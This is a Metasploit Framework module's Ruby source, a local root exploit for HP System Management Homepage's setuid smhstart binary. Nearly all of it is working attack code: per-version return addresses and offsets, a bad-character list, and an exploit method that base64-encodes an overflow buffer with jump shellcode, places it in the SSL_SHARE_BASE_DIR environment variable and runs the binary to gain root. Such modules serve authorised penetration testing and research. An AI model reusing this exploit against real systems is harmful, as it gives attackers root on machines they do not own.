metasploit-framework/modules/exploits/linux/local/hp_smhstart.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'
require 'msf/core/exploit/exe'

#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'

class Metasploit4 < Msf::Exploit::Local

	include Msf::Exploit::EXE
	include Msf::Post::File
	include Msf::Post::Common

	include Msf::Exploit::Local::Linux

	def initialize(info={})
		super( update_info( info, {
				'Name'          => 'HP System Management Homepage Local Privilege Escalation',
				'Description'   => %q{
					Versions of hpsmh <= 7.1.1 setuid root smhstart is vulnerable to local buffer overflow in SSL_SHARE_BASE_DIR env variable.
				},
				'License'       => MSF_LICENSE,
				'Author'        =>
					[
						'agix'           #@agixid
					],
				'Platform'      => [ 'linux' ],
				'Arch'          => [ ARCH_X86 ],
				'SessionTypes'  => [ 'shell' ],
				'Payload'		=>
					{
						'Space'     => 227,
						'BadChars' 	=> "\x00\x22"
					},
				'References'    =>
					[
						['OSVDB', '91812'] #not exactly but there is none...
					],
				'Targets'       =>
					[
						[ 'Hpsmh 7.1.1',
							{
								'Arch' => ARCH_X86,
								'CallEsp' => 0x080c86eb,	#call esp
								'Offset' => 58
							}
						],
						[ 'Hpsmh 7.1.2',
							{
								'Arch' => ARCH_X86,
								'CallEsp' => 0x080c8b9b,	#call esp
								'Offset' => 58
							}
						],
					],
				'DefaultOptions' =>
					{
						'PrependSetuid'    => true
					},
				'DefaultTarget' => 0,
				'DisclosureDate' => "Mar 30 2013",
			}
			))
		register_options([
				OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ])
			], self.class)
	end

	def exploit
		pl = payload.encoded
		padding = rand_text_alpha(target['Offset'])
		ret = [target['CallEsp']].pack('V')
		exploit = Rex::Text.encode_base64("#{pl}#{ret}\x81\xc4\x11\xff\xff\xff\xe9\x0e\xff\xff\xff#{padding}")
		cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit}' | base64 -d)")
		cmd_exec("#{datastore['smhstartDir']}/smhstart")
	end

end